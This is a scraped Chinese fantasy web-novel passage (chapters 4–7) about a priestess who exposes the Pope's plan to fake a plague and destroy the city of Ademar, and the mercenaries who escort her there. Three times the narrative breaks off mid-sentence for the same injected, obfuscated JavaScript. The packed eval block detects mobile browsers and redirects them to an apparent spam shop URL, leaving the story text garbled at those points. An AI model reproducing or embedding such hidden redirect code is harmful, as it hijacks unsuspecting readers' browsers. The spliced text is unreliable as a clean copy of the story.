笼中豢养的白鸽罕见地被放出，在中央神殿上方盘旋。节日的鲜花和青橄榄装点了神殿殿，血红的地毯从殿门一直铺到长阶之上的祭坛前。伴随着圣洁空灵的歌声与乐声，披着白色长纱的萝丝缓缓走进大殿。 她火红的鬈发被梳理得规规矩矩盘在脑后，纤细的脖颈上围着金项圈与珍珠项链，白纱裙用金腰带在胸部下方勒出曲线。她手中捧着幽谷百合做成的捧花，寓意是她将成为神的新娘——今天，她将加冕为至高女祭司。此刻正在举行的，既是她的加冕仪式，也是神婚的婚礼。 她迈上长阶，长裙雪白的拖尾徐徐展开。 为了今天盛大隆重的场合，神殿特意为她定制了这条拖尾长达十四米的长裙，正是为了让萝丝在走向祭坛时白纱能在红绒地毯上完全展开，显示出神的新娘那种隆重的娇媚。 教皇亲自站在长阶之上，身边的神官捧着托盘，托盘上是一只金丝头冠，镶嵌着钻石与搪瓷做成的白鸽与百合。一会儿，当萝丝走到祭坛前时，她将宣誓用全部的忠诚与爱侍奉神，而教皇会将这顶新娘头冠压在她的红发上。 众目睽睽之下，萝丝每一步都走得慢而慎重。终于，她登上长阶之巅，站在教皇面前。 乐声逐渐淡去，大殿中安静下来。 教皇低头，用慈爱的目光看着萝丝。 此时她应该谦卑而幸福地低着头，背出早已准备好的誓词。不料萝丝抬起了头，目光澄澈，直视教皇。 “教皇冕下，我有一个问题。” 虽然惊讶，教皇还是保持了慈爱的笑容：“问吧，孩子。” “神平等地爱世人，也管束世人，对吗？” “当然，我的孩子，你为何会对此产生疑问？” “神真实存在，并始终注视着世人，对吗？” 教皇的表情顿时严厉起来：“孩子，作为神职人员，你为什么会这样想？” 萝丝不理会他的质问，自顾自地继续说下去：“倘若神平等地爱世人，又为何能允许神殿为了收取什一税而使人民被饿死？倘若神平等地管束世人，又为何独独允许主教和神官可以放纵贪淫？倘若神真的存在，又为何能允许他最忠实的仆人犯下滔天大罪，而不降下惩罚？教皇冕下，我不明白，为什么？” 神殿中鸦雀无声，一片死寂。教皇停了许久，才缓缓问道：“孩子，告诉我，你看见了什么罪恶？教廷一定会严正地惩处这些罪恶，绝不姑息。孩子，告诉我那些人的名字，我会惩处他们，而你，不必为了这些事动摇你纯洁的信念。” “好，”萝丝的眼眸在昏暗的大殿中熠熠生辉，“我要向您检举乌尔贝蒂诺?安东尼——也就是您，教皇冕下。” 教皇停顿了许久，转过身看看捧着托盘的神官，又看向长阶下的众人，抖抖袍袖，一副被孩童戏言逗笑的表情。 但萝丝没有笑，她脸部柔和的线条因勇气而显得坚毅，碧绿的眼如同夜中的萤火。 “好吧，”教皇转回身，声音依旧柔和，但眼神已经变得冷峻残忍，“你想检举我犯下了什么罪恶，孩子？你知道，这么多年我一直倾力与鲁德维尔二世这些不义的君主斗争，殚精竭虑以维护教廷的地位；我从不曾亲近女色，也不曾以职务之便攫取钱财；我对你的爱是完全像对女儿一样的爱，我对我教区的人民也是如此。你想指责我什么呢？我又犯下了什么十恶不赦之罪呢？” “那阿德玛城呢？你想怎么解释你对于阿德玛——” 教皇扬起手一巴掌掴在萝丝脸上。 因为魔力屏障的缘故，萝丝只是略微偏了偏脸，又转回头看向教皇。他再次扬起手，手上金色的魔力回流若隐若现。这一次，萝丝被打得踉跄了好几步，被自己的裙摆绊住，从长阶上滚下去。 教皇俯瞰看着萝丝趴在长阶之下，摔得鼻青脸肿、狼狈不堪，脸上带着威严而悲悯的神情说道：“这个可怜的孩子病了，不知道自己在说什么。我会尽我的努力治好她的。今天的仪式暂时取消，发生的一切，”他的目光扫过战战兢兢的众人，“谁也不许说出去。” “……那时我因为魔力流失变弱了一些，对于他们而言也不再那么重要。于是他们囚禁了我几天，又决定把我送到梅林德要塞底层的监狱关押，由毗邻的梅林德地方神殿看守。而途中，在我的两个同伴，彼得和玛丽安的帮助下，我逃了出来。” “那时我已经知道了教廷方面想对阿德玛城做什么。” “古时，平原上有五城，其中两座，索多玛与蛾摩拉犯下了渎神之罪，因而神惩罚他们，降下天火毁灭了城池。如今，教皇觉得各国对神殿的权利都不够尊重，尤其是鲁德维尔二世，更是对教皇屡屡出言冒犯。所以教皇想要效仿神罚，用毁灭一座城池的方式惩罚鲁德维尔，并以此警示各国。” “但神罚需要一个冠名堂皇的理由——黑死病。” “黑死病被看作腐败和堕落的象征。如果一个城市爆发黑死病，既能证明这座城市的人民对神不敬，又能引起其他人对这座城市的厌恶和恐惧。由此而来的毁灭也就变得顺理成章。” “是，你们也可能会觉得阿德玛城也许真的爆发了黑死病。可是， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992439|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在第一具黑死病人的尸体被发现以前，在有消息从阿德玛城流出以前，神殿就已经决定了阿德玛城的全部命运，计划好了所有行程，甚至制造出了爆发黑死病的相关文书。” “更有甚者，他们在那之前，就已经‘制造’出了黑死病人。” “如果不是我恰巧撞见这个过程，我也不会知道这件事。我也不想做助纣为虐的事，所以在加冕仪式上我忍不住问出了那些话。我并不后悔。” “这就是关于我的、你们想知道的故事。我说完了，其余的你们可以自己判断。杀了我也好，不再和我同行也好，都可以。我会付完你们应得的报酬，也可以对你们做出补偿。但只要我没有死，我就要前往阿德玛城，这一点是不变的。”萝丝一直紧绷着的肩背垮下来，“没了。” 雇佣兵们沉默着，久久无言。 还是薇薇安打破了沉默：“抱歉，我们需要单独商量一下。你先休息一会儿吧。等我们讨论出了结果，我们会告诉你的。走吧，索恩，把枪收起来。” 索恩深深看了萝丝一眼，收起枪跟着小队走向一边。 死亡的威胁解除后，疲惫感一拥而上。魔力的消耗和对过去的回忆让萝丝精疲力竭。 她找了颗树倚靠着坐下，结下身上多余的行李，合上眼，很快便滑入了梦乡。 雇佣兵们走到萝丝能听见的范围之外后，停下来，面面相觑。 薇薇安快速地卷了一支烟点上，抽了好几口才问道：“那么，你们现在还有谁想杀了她吗？” 所有人的目光都汇集到索恩身上。 他倚在树上，望着脚下的落叶，过了一会儿才说道：“我不确定她的话是真是假。在验证过这一点之前，我不会杀她。” “很好。那，你们谁还愿意继续完成这个任务的？” 这时，一向寡言少语的凯里突然开口：“她是好人，我愿意跟着她。” 薇薇安点点头：“我也是。艾尔、艾伦，你们呢？” 被点到名的双胞胎对视一眼，哥哥艾尔说道：“我们愿意。从这儿到阿德玛顶多五六天的路程，这么点时间就能挣到三枚金币，值了。”[注1] “约瑟夫，你呢？” “我不喜欢拿钱不办事。我也愿意。” 所有人的目光又汇集到索恩身上。他看着自己的队友，哼了一声：“行了，我会做完这个任务，但不是为了这位伟大的神官大人。你们大可不必因此对我心存疑虑。” 薇薇安点点头：“我们只是担心会失去你这样一位队友。好了，我们回去吧。以及，索恩，你最好向萝丝道个歉。你吓着她了。” 索恩斜眼看过来，眼眸变得暗沉沉的，显出十分的怒气和不情愿。 薇薇安不为所动：“你贸然拿枪指着她，这是相当不礼貌的行为。就算是为了接下来几天的相处，你也应该道个歉才对。” “……我知道了。不过，我还是得提醒你，别真的拿神职者当成你天真无邪的亲妹妹了。能在神殿一步步走到今天的人，必然不可能如此单纯。” “我知道了。走吧。” 5. 第 5 章 萝丝醒来时，月亮已逐渐西沉。 空地中央堆着一堆篝火，噼里啪啦地燃烧着，带来一丝暖意。雇佣兵们围在篝火边或躺或坐，都睡得很安稳。 索恩不在其中，或许是已经走了吧。 也是。 虽然不知道他们都是因为什么选择了走上雇佣兵这条道路，但一想到神殿骑士粗暴地将没有缴纳足够税款的平民拖出房屋在大街上拖行，想到为了建造富丽的神殿不知拆毁了多少低矮的土墙，萝丝也就觉得毫不奇怪了。 而且，她觉得他们是善良的。 他们没有不辞而别，也没有趁机洗劫她再把她丢在这荒山野岭中，在这乱世已经算是难得的好心了。 她轻悄悄地起身，在树林间转了转找到了自己的马勃鲁。高大的黑马站在树林间，并没有睡，看见萝丝靠近，轻轻喷了喷鼻子。 萝丝笑了，抬手抚摸它。它也低下头，温驯地蹭着她的手。 说实话，她也不知道勃鲁对她为什么这么友好。这是她从梅林德神殿偷——或者说抢来的马。“勃鲁”是她给它起的名字，至于神殿的人叫它什么，她也不知道。她在逃亡时只是挑了一匹看起来最强壮的马，用精灵语拜托它送自己离开。直到看见彼得和玛丽安惊掉下巴的表情，她才知道，这匹黑马的暴躁脾气远近闻名，以至于神殿中没有人敢骑它。 “你渴了吗？想要喝水吗？” 萝丝一遍抚摸着它的鬃毛，一边用精灵语低声呢喃道。黑马点点头，于是萝丝牵着它向着小溪走去。 山涧溪流清澈无比，倒映出勃鲁和萝丝的影子。看见水中面容有些愁苦的自己，萝丝不禁弯下腰，伸手把水面搅皱。 她不想沉溺在无意义的忧愁中，但是，她难以抑制自己去思考，如果雇佣兵们真的离开，她该怎么办。 这一天之内的两次危机，如果不是有“野火”小队的帮助，她早就被抓回神殿了。而如果被抓回神殿，她将要面临的不仅是刑罚和拷问，还有整个阿德玛城的覆灭…… “你不睡吗？” 身后突然传来声音，萝丝吓了一跳差点栽进水里。一回头，居然是索恩。 他肩上扛着一根长长的树枝，手里提着一个布袋子，正低头看着她，表情笼罩在阴影中看不清楚。他手里的袋子湿透了，往下滴答着粘稠的液体，还时不时抖动一下，看起来有些吓人。 “那个……你，你没走吗？” “我为什么要走？” 索恩反问了一句，萝丝一时不知道该说什么。尴尬地沉默了一会，她小声道：“那个，神殿对你做过的事，我很抱歉。” “没什么好抱歉的，又不是你干的。”索恩随手把树枝甩到一边，在萝丝身旁不远处坐下。他看着溪水潺潺流过，叹了口气，转向她：“今天的事，是我错了。” “啊？” 索恩又转过脸盯着溪水：“我不应该迁怒于你，更不应该在毫无根据的情况下拿枪指着你。我很抱歉。” 未曾预料到的道歉让萝丝足足愣了好几秒才反应过来：“啊，没关系的，没关系。我知道神殿以前做过很多，很不好的事。你们对神殿和神职人员不满，也是正常的。” 索恩点点头，不再说话。 月光撒在他柔顺的黑发上，撒在他大理石雕般的侧脸上，衬得他的金瞳更加明亮，却也更加柔和。突然间，一个念头击中了萝丝。 “等等，你不会是…” 黑发金瞳，勇武英俊。 拉塞尔家族的典型标志。 “没错，我是。你或许还记得。索尔斯蒂斯·拉塞尔。” 索尔斯蒂斯。 这个不同寻常的名字和当时的情景，萝丝的确依稀还能回忆起来。 那年她十三岁，因为超乎常人的魔法天赋被破格选为神官，兼任审判庭书记官一职。她在任期间为教廷写下了极大量的庭审记录，其中就包括拉塞尔家族巫术审判案。 她记得当时拉塞尔家族的数十名女性被判处火刑，其余的成员大多被斩首或是流放。 而在流放的长长一张名单中，就有索尔斯蒂斯这个名字。 索尔斯蒂斯，意为“至高之日”，象征胜利，希望与重生。这么看来，这个名字可是相当讽刺。 “我记得你被流放了，永世不得踏上教廷治下的土地。所以你才化名为索恩，并且用面具遮脸吗？” “可以这么理解。”他敷衍地应了一句，站起身，晃了晃手里的袋子，“你吃鱼吗？” “原来山里的小溪里还会有鳟鱼。” 萝丝坐在篝火边，满脸好奇地看着索恩处理已经被开膛破肚的鳟鱼。 她从没见过生鱼，不知道生鱼肉居然是淡粉色的，也不知道这些鱼都属于哪个品种。索恩告诉她，这是鳟鱼。 索恩熟练地把鱼肉在削出的木签上穿好，伸进火堆上方翻烤。 一面熟了便拿出来撒上些盐和月桂叶，再伸进去翻个面烤。很快，不大的林间空地中就满是烤鱼肉的香气。 萝丝这才发觉，经过了一天的奔波，自己又没吃晚饭，早就饥肠辘辘了。 香气搅扰了其他雇佣兵的好梦。 他们纷纷爬起来，围到火堆边，眼巴巴地盯着烤鱼。索恩可没有伺候他们的习惯，把木签子塞到他们手里让他们自力更生。萝丝也跃跃欲试想自己试一试，索恩却毫无把木签交给她的意思。 “诶，大姐头，我记得你不是还有些胡椒吗？正好正好，给大家分一点。” “去去去，吃你自己的去。我的胡椒可不是给你干这个用的。” “别嘛大姐头。对了，凯里你是不是还买了酒？” 气氛一下子热闹起来，大家纷纷从自己的行李中拿出白天在伊奇亚城采购的东西：黄油、面包、白兰地……凯里甚至默默取出了两个新鲜苹果，给了萝丝一个，剩下的分给了大家。原本意料之外的夜宵此刻几乎成了群体野餐。 萝丝用袖口把苹果擦得亮亮的，放在膝头，没有吃。约瑟夫刚刚试图把酒壶塞给她，被薇薇安的铁拳“制裁”了。索恩看着他们吵闹，忍不住也勾了勾唇角，将手中的烤鱼递到萝丝面前：“小心烫。” “谢谢！” 萝丝接过烤鱼，惊讶又欣喜，开心地小口对着鱼吹起气来。 这时，薇薇安终于架不住其他人的软磨硬泡，从腰间取下一只小口袋，用石块碾磨了几遍：“来，先不急着吃鱼，胡椒粉来了！” 欢呼声立马充满了林地。 大家纷纷在薇薇安面前挤来挤去，约瑟夫趁机还是把酒壶塞到了萝丝手上。 萝丝笑着灌了一大口，被呛得说不出话，狠狠地深呼吸了好几下才把眼角的泪花压下去。灼热的感觉顺着喉咙一路滚进胃里，使人从里到外都体会到一种暖洋洋的感觉。 她本想把酒壶还回去，一直没有说话也没怎么动作的索恩这时却很自然地伸手接过了酒壶，仰头将酒壶里的白兰地喝干。对上萝丝有些惊讶的眼神，他的表情几乎可以称得上柔和。 他们对视了一会儿，没有说话。接着面包和黄油也被传了过来。这场晚餐会逐渐来到高潮。 接下来的几天，路上都无事发生，他们也走得很顺利。 阿德玛城依阿尔法山脉而建，利用天然的地形优势，依靠峭壁修筑了一道半圆形城墙，从群山手中硬是割出了一块属于人类的土地。 它原本是古代战场上的一座要塞。而在鲁德维尔一世统一山脉两侧后，这座要塞便逐渐丧失了它重要的地位。但险峻的地势不会政权更迭而改变。现在，无论是从哪个方向，到达阿德玛城总是需要走过漫长的山路才行。 这也为萝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992440|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝一行人提供了方便。 他们在森林中穿梭，即使是魔犬也难以追踪他们的痕迹，所以没有后顾之忧。经过一路不停地奔波，在第六天，他们终于可以看见阿德玛主城中城堡的尖顶了。 相处了六天，萝丝也和“野火”小队的成员们熟络了起来。应该说，自从那次夜间野餐之后，他们的关系便拉近了许多。现在，萝丝也了解了小队中每一个人的习惯与性格。 约瑟夫是年纪最大的那一个，擅长追踪，闲下来时喜欢抽烟斗；艾尔和艾伦是一对双胞胎兄弟，喜欢找薇薇安撒娇的那个是弟弟艾伦，没那么闹腾的是哥哥艾尔；凯里喜欢马，平时不怎么说话，却能敏锐地察觉到小队中每个人的情绪变化；而薇薇安家里有两个妹妹，她不想为了养家而嫁人，也不想让妹妹提前嫁人，所以选择出来做雇佣兵。当然，目前她还不是很了解索恩。那个夜晚他一瞬间的柔和仿佛只是一种错觉，第二天，他便又恢复了那种尖锐而危险的气质。 “野火”小队的每个人都很有趣，萝丝想，他们真的都像野火一样，虽然出生低微遍尝辛酸，却依旧恣意地生长着，散发着光芒与热量。萝丝甚至都有些遗憾，遗憾这六天的时间太短了，不足以让他们成为更深入的朋友。 “就到这里吗？” “嗯，就到这里吧。剩下的路我自己走。” 他们都停下了马，看向阿德玛城堡。萝丝从钱袋中数出金币和银币，递给薇薇安。“谢谢你们。” 薇薇安却没有接，而是问道：“你一个人真的可以吗？我是说，我不介意再干一单。” “你的意思是……” “我的意思是，就我个人而言，我不介意陪你进入阿德玛。” “不行，绝对不行。”出人意料的，萝丝一口否决，“这太危险了。我不能让你们拿性命冒险。” “野火”小队除了索恩都笑了起来。薇薇安笑得最大声，半晌才停下来：“萝丝，我说过，我们是雇佣兵。拿命换钱就是我们在干的事。我们唯一担心的只有换得够不够多而已。来吧，雇不雇佣我们是你的决定，但就我而言，只要价格合理，面对任何危险都没关系。” 萝丝低下头。 不可否认，她的确需要雇佣兵的助力。似乎即使是他们待在自己身边，她便不会因为日渐丧失魔力而恐惧。但是，前路未卜——说实话，阿德玛的情况几乎是死局。她最大的希望也不过是能带着力所能及的几个人逃出生天，而最有可能的，是她自己也死在那自天而降的“神罚”之下。 她自己的选择她会承受，但她不想让“野火”小队的成员们一起承担。他们还有家庭，还有家人在等他们回去。 “……抱歉，我恐怕……真的不行，薇薇安。” 薇薇安没说话，点点头，又点点头：“好吧，既然这样，至少让我送你进城。神殿的人很可能还没有放弃，他们可能会在门口埋伏你。如果真碰上了这种情况，我也可以最后再保护你一次。就当是赠送的免费服务吧。” “什么叫‘我’啊，我们都愿意啊。对不对，索恩？”约瑟夫故意夸张地向索恩使了个眼色。 索恩“啧”了一声：“我没意见。” “好，那就这么定了。”一道道弧线从空中划过，雇佣兵们纷纷接住属于自己的报酬，“走了，伙计们。” 萝丝坐在马背上，面前就是阿德玛城高高的城墙。城门开着，偶尔有一两个人通过，一副平静如常的样子。 说实在的，这并不是很正常。 按道理说，此时城内已经爆发了疫病才对，行人根本不可能得知消息后还这么平静。又或者是他们来得足够及时，黑死病还未能在城市中传播开？这是一个很好的可能，可不知为何，萝丝依旧感到十分坐立难安。 不是因为别的，萝丝吐出一口气。有人在看着他们。 6. 第 6 章 她很确定，有人在看着他们。 自从他们离开森林在大路上行走后，这种窥视感便愈发强烈。 萝丝忍不住悄悄地环顾四周，只看见树木苍翠山势陡峭，没有半个人影。一直到城门前，她都被这种窥视感包裹着，却找不出证据来证实自己的想法。 “我们就送你到这里吧。剩下的路，你要自己走了。” 薇薇安在城门前停下马，回身对萝丝说道，却发现她有些心不在焉。“怎么了，萝丝？” 萝丝收回目光，摇摇头：“没怎么。谢谢你们送我到这里。你们抓紧时间离开吧，我有一些不好的预感。” 薇薇安看见她眼中的严肃神情，点点头,向她打了个招呼便拨转马头。其他人也纷纷向她道别，然后转头离去。 萝丝看着他们的背影，有些不舍，却依旧微笑着。突然，她想起了什么，拍马向前方跑去：“薇薇安，等——” 就在这一刻，变故陡生。 事后，萝丝想起来，会不会是自己的多此一举才让神殿的人误判了情景，以为她也想离开，所以才仓促地动了手，才导致了她的同伴们被迫留了下来，和自己共同面对这一切。坦白来讲，她不知道这是幸运还是不幸。 听见萝丝的呼唤，薇薇安勒住缰绳，转回身。就在这一瞬间，他们脚下的土地震动起来！ 受惊的马儿纷纷扬起前蹄发出惊恐的嘶鸣。萝丝骑着的黑马没有动，只是惊恐地原地跺着脚。所以萝丝是唯一一个亲眼看着最初的圣光荆棘从震颤着的土层中钻出的人！ 无数根粗大的圣光荆棘从土地中抽出自身，然后扭曲着相互攀绕着向上生长，顷刻间便生长到遮天蔽日的高度，一直生长到触及阿德玛城后的崖壁，将整个阿德玛城笼罩其中！ 此时，视野中不知何时已经出现了许多白袍神官。他们双手张开做出拥抱太阳的姿势，口中吟唱着赞美诗一般悦耳动听的咒文。 萝丝看着这些人，一瞬间产生了一种极强的难以言喻的脱力感。熟悉的衣袍，熟悉的姿势，熟悉的咒文。 大型神圣术，圣光囚笼。 这个法术她练习过很多遍，几乎可以做到独力构造出一个方圆三十米的圣光囚笼。 她不敢想象，如果没有逃离神殿的话，她今天会站在哪个位置，又在做什么。 其他雇佣兵看着视线中遮蔽了整片天空的发着光的粗大荆棘，一时间也目瞪口呆。许久才听见艾伦喃喃道：“妈呀，这是什么东西……” 萝丝无法回答他的问话。 此刻，她感到血液冰凉，心如擂鼓。原来神殿想要的不仅是一座城池的毁灭，他们还想要确保伤亡的最大化，来达成最极致最一劳永逸的威慑。为此，他们不惜同时调动几个神殿的力量，也要达成这戏剧化的神圣场面的构建。 而萝丝呢？她是这棋盘中微不足道的一子。即使她的力量回到巅峰时期，她也无法打破这圣光囚笼带着所有人逃离。而只要时间期限一到，无论是谁都将死在这神罚天火之下。 她带没带物资来有什么要紧？她带了几个雇佣兵又有什么要紧？她会不会告诉人们真相又有什么要紧？只要这城中的所有人全死了，便无人再能挑战神殿的权柄。 甚至是，萝丝能想到，“女神官大人不远千里赶来感化罪人居民却反被感染最后身亡，神明一怒之下降下神罚”难道不是一个绝佳的话题，来赞颂神殿的伟大和神的公平吗？ 安东尼教皇慈眉善目的脸在眼前浮现。原来，这一切都早已在他们的计划之中。 魔力耗竭的那种晕眩感再次袭来，萝丝觉得眼前世界一阵天旋地转。 圣光荆棘的生长停止后，白袍神官也停止了吟唱。 其中一人从怀中取出一个羊皮纸卷轴，高声诵读起来。虽然魔力扩大了他的声音，但经过圣光囚笼的扭曲，还是教人难以听清。雇佣兵们即使拥有极强的听力，也只听见了几个关键词：罪恶、保护、惩罚、四十天。 索恩皱着眉头看向低着头的萝丝。她看起来似乎十分痛苦，苍白的脸皱成一团，手死死攥着缰绳。索恩和薇薇安对视一眼，都从对方眼中看到了深深的担忧。 “这是什么情况，大姐头？” “这是什么法术？想要把我们困在里面吗？” “我们现在该怎么做？” 索恩勉强压下心中的不安感，沉着道：“先进城。走一步再看一步把。”说完，他调转马头，率先向阿德玛城走去。 其他人跟在后面向城门走去，但还是忍不住频频抬头抬头看向空中的巨网。 此时，圣光囚笼的光芒已经不再闪耀如初，只有淡金色的光芒在似有实体的荆棘上流动。而整片天空都被这些扭曲交缠的荆棘所遮蔽，显得压抑可怖。 薇薇安策马来到失魂落魄一般的萝丝身边，柔声道：“走吧萝丝，先进城再说。” 城中也是一副乱象。 城门口的士兵因为过于震惊，都忘了收取他们的入城税，放任他们从自己眼前走过，而自己只是张着嘴，瞪着眼睛望向天空。 城中的许多人也都是如此。 他们离开了作坊，离开了店铺，纷纷走到大街上目瞪口呆地望着天空中的囚笼。有些人甚至当街跪了下来，语无伦次地念诵着祷词，乞求光明之神的宽恕与庇护。萝丝一行人骑着马从里面穿过，就像是穿过一群会动的雕像一般，充满了难以言喻的荒唐感。 城市的混乱持续了数个小时，直到夜晚真正的降临，城市中的执法人员才站了出来维护秩序。而在这样的震惊和恐惧后，所有市民们都陷入一种妄谵迷惘的状态中，谁还有心思工作呢？ 萝丝几人在偌大的城市中转了一圈。好消息是，这里没有萝丝的通缉令；坏消息是，他们还是找不到一个歇脚的地方。无奈之下，几人最后停在了教堂门前。 “这里？”索恩竭力控制自己的表情，“认真的？” 薇薇安摊手：“没办法，已经没有其他地方可以让我们留宿了。放心，住教堂已经是最好的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992441|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，不顺利的话，我们就只能找个马棚凑合一晚了。” “没关系的。”一直沉默的萝丝这时突然开口，小声道，“教堂和神殿并不一样。神殿只有十座，是用来给教廷高层居住活动的地方。但教堂是公共建筑，一般由地方领主管理，主要目的是为了满足市民们的宗教需求，所以和教廷的联系没那么高。如果你愿意的话……” “没关系的。管他是什么，先进去看看再说。”薇薇安安抚地笑了笑，无视了索恩不满的目光，抬手推开教堂的侧门。 教堂中几乎空寂无人。他们在礼拜堂里喊了好几声，才从里面喊出来一个颤颤巍巍的老妇人：“几位，有什么事吗？” 薇薇安上前与老妇人交涉。老妇人口音极重，又有些口齿不清。薇薇安和她费劲地说了半天才弄明白，这个老妇人是教堂负责打扫的仆人。而教堂里的牧师、神官和其他仆人们，早在今天早晨就已经全部离开了。而她不想离开，因为这里就是她的家，有她养的鸡、她种的豌豆和—— “所以，我们可以在这里留宿吗？” 听着老妇人东拉西扯了许久，薇薇安忍不住打断她，问道。老妇人听了，点点头，做了个手势让大家跟在她身后。 教堂中原本就有用于收容贫民的场地。 那是一间七八米见方的小厅，天花板低矮，散发着霉味，墙边卷着潮湿肮脏的被褥。这里只剩下最后一个病重得快死了的的病人躺在这里，老妇人比比划划地告诉他们。 说话间他们走到那个人身边，萝丝弯下身去试探他的脉搏，却发现他早已没了心跳。 她站起身，告诉了大家这一事实。雇佣兵们对此习以为常，并没有什么特别的表示。老妇人也只是画了几个十字，叽叽咕咕地念叨着神明庇佑的话语，颠来倒去地说了几遍后，又让他们安葬这个人，用劳动来抵押住宿的费用。 在反反复复保证了好几遍他们明天一定会将这个人安葬到公募中之后，老妇人才念念有词地满意离开了，剩下七人在昏暗的小厅中面面相觑。 凯里拿了张床单把死去之人枯瘦蜡黄的脸给盖上。艾伦看着他伸手合上死人的眼皮，不禁一阵反胃：“我说，我们一定要和这玩意儿住在一起吗？” “不然怎么办？”约瑟夫问道。 索恩挑了挑眉：“这还不简单。我说，这么好的机会，不去探索一下神职人员的住所吗？” 趁着老妇人不注意——这很简单——几人找到了神官和牧师的起居室。这里虽然也没有十分华丽，但至少足够干净清洁。 安顿好马匹，又各自挑好了房间，几人这才放松下来。 此时，时间已经接近午夜，但谁都没有困意。所有人都聚集到了薇薇安和萝丝的房间里，或站或坐，把不大的起居室填得满满当当。 但没人说话，大家都各自专注地做着自己的事，抽烟、缝衣服、护理武器。只有萝丝一个人什么也没做，抱着膝头坐在床上。良久，雇佣兵们忽然听见她轻轻说了一声：“抱歉。” 7. 第 7 章 “为什么要道歉？”艾伦懵懂地问道。 “毕竟……是我把你们卷进来的。”卷进了这个死局。 索恩抱着双臂，有些不耐烦：“我说过，这不是你干的，所以没什么好道歉的。别总是为了自己没做过的事道歉。” “是的，索恩说的没错。”薇薇安点头，“选择跟着你的是我们自己，把我们困在这里的是神殿，你没有做错什么，所以不必自责。当务之急，是想想下一步该怎么做。” 约瑟夫也说：“是啊，真正的大问题还要等到四十天后呢。我们总不能一直干等着什么也不做吧？” “嗯，”萝丝点点头，“的确。也许，我们可以先想办法遏制城里的黑死病病情——” “——如果有的话。” 萝丝垂下眼：“是的，神殿还真的有可能做得出这些事……不过也不能随意下定论。我们可以先去请求拜谒城主，在请求他的合作的情况下对于城里的居民进行走访，调查出城里的疫病情况再采取相应的治疗和隔离措施。同时安抚大家防止恐慌。对了！还有食物药品等物资问题……你们怎么都看着我？” “呃，只是有时候会忘记，你也是个很厉害的神官呢。”艾伦挠了挠后脑勺。 萝丝微笑了一下：“小心点，以前把我当成花瓶的人下场都很惨的哦。” 众人想起月光下地上横七竖八的一地神殿骑士，完全笑不出来。 “好吧，言归正传，现在计划这些确实也有些远。而且，我们甚至都不能确定城主是否还留在这座城市里。所以今晚，我们还是先休息吧。” “好。” 其他人陆陆续续地离开了，只有索恩没有走，和薇薇安、萝丝三个人大眼瞪小眼。 “你不去睡吗，又在打什么主意？”薇薇安叹了口气，问道。 “你得问她。”索恩看向萝丝。 “问我？”萝丝的表情动摇了一下，“问我做什么？” “你刚才故意没有提起那具尸体。”又是陈述句。 薇薇安的表情略显茫然，索恩继续说道：“要调查城里的疾病传染状况，从近期的死者调查起是很明智的选择。而你明显思维缜密，却没有提到这个，必定是故意为之。你是想偷偷去检查尸体，对吗？” 这家伙这么心细的吗？萝丝在心底暗自抓狂。 “其实也没有什么特别的原因啦，”萝丝摸摸鼻子，“我以前在修道院住过，那里的修士们教了我很多，包括医术。但神殿的人说女孩子老和尸体打交道不好，而且显得像个外科医生似的被人瞧不起。所以我就习惯瞒着别人，抱歉。” 两人都摇摇头表示不在意。薇薇安摸摸下巴，笑道：“那你会介意别人旁观吗？老实说，我还真有点好奇。” “完全不！那我们现在就走吧！” “嗯哼，索恩，你也来。” “可怜人。”薇薇安蹲下身子，看向那具已经冰冷僵硬的尸体。 萝丝点点头，就着索恩手里油灯的灯光，毫不避讳地将死者的衣物一件件剥下来。死者的尸体呈青白色，没有明显的伤痕。萝丝又把尸体翻了个面，看见背部有淡淡的青紫色斑块间杂着苍白区。 “唔，没死多久。” 她从口袋里掏出一副白色丝质手套带上，然后毫不在意地将手伸进死者肮脏的头发里四处摸了摸，又伸手扒开死者的眼皮、口腔看了看，接着陷入了沉思。 “有什么发现吗？” “还不能完全确定，”萝丝从口袋中取出一把小银刀，示意索恩弯下腰，把刀锋在火焰上过了几遍，“现在，希望这位先生不会介意我把他剖开。” 阿德玛城的另一端。 即使已经是午夜，劳拉依旧没有睡意。一想到白天的可怕一幕，她就会难以抑止地颤抖，哭泣的欲望从嗓子深处冒出来。哦，她不明白，她们一家人都是如此的虔诚，无论是她丈夫，还是她，还是她可怜的汤米—— 汤米。 想到汤米，劳拉又是一阵心如刀绞，不由得把手中的十字念珠握得更紧了。 她的汤米，当时还是个多么好、多么年轻的孩子，她还记得她送他随着军队出城那天，他扛着长枪，穿着绵甲，一条条汗水顺着额角流到脖子里，却仍然开朗的笑着，向她眨眨眼。她都还记得汤米走之前亲亲她的脸，向她保证：“妈，我很快就会回来的。放心，别难过。我真的很快就回来了，我保证。” 